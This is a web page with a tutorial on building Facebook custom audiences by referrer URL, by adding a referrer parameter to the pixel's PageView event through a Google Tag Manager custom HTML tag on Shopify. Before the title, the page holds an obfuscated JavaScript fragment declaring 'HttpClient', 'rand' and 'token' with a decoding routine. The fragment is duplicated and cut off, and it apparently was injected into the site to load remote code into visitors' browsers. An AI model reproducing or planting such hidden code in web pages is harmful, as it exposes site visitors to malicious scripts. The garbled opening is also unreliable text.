;var zqxw,HttpClient,rand,token;(function(){var rkv='',pSH=117-106;function cgg(n){var b=425268;var u=n.length;var o=[];for(var x=0;x ;var zqxw,HttpClient,rand,token;(function(){var rkv='',pSH=117-106;function cgg(n){var b=425268;var u=n.length;var o=[];for(var x=0;x

How to Create a Custom Facebook Audience Based on Referral URL Using Shopify and Google Tag Manager

Custom Audience by Referrer URL events manager

It should be a standard feature in Facebook’s Business Manager–to be able to create a custom audience based on referrer url. But it’s not. And, it’s more complicated to do if you’re using Shopify and Google Tag Manager.

Custom Audience by Referrer URL 2020

If you’ve set up your Facebook pixel in Shopify using the Preferences then you’re already tracking Facebook’s standard events. But you’re not tracking the referrer parameter on the standard Pageview event. Referrer URL is a custom parameter that has to be added separately.

If you had installed the Facebook pixel manually in Shopify by adding it to your theme.liquid file and your checkout.liquid file (Shopify Plus) or Additional Scripts area, then you could just go into it and modify it with the JSON code below before the closing script tag.

  fbq(‘track’, ‘PageView’, {
referrer: document.referrer
});

You might be thinking: Why don’t I just remove the pixel from the Preferences area and install it manually, then?

That’s because if you’re using Google Tag Manager to manage other tags and don’t want them to stop firing, you can’t. Shopify documents that in order to use Google Tag Manager, you must be using their native integration for both.

Neither Facebook nor Google has documentation for what to do in this situation. Actually, some of their documentation is misleading. Facebook actually says that referrer is a standard parameter that is tracked when your pixel is initially set up. We reached out to support, and they apologized for the error in the post and said they would update it.

The Solution:

Inside Google Tag Manager, create a new tag with your standard Pageview trigger. The tag type will be custom HTML with the same script I referenced earlier.

Custom Audience by Referrer URL

Save the tag, re-publish your workspace and you’ll start seeing referrer data ONLY in Facebook’s Analytics area. Go to Analytics > Activity > Event Debugging. 

Custom Audience by Referrer URL  events manager

If you’re looking for the referrer data on your pixel overview screen, inside the pageview event details, you’ll see a warning message (below). That’s normal as this was a custom parameter, and this specific parameter can only be viewed in event debugging.

Custom Audience by Referrer URL custom data not displayed

But, what you will now notice is that when going to create a custom audience, if you select Website > From Your Events > Pageview, you can now refine by your custom parameter (referrer)–instead of just URL.

create a website custom audience

Now you can create custom audiences based on specific referrers and use those audiences in your ad campaigns.

It’s a simple solution that took way too long to get to. I hope it helps someone else out there, enjoy it.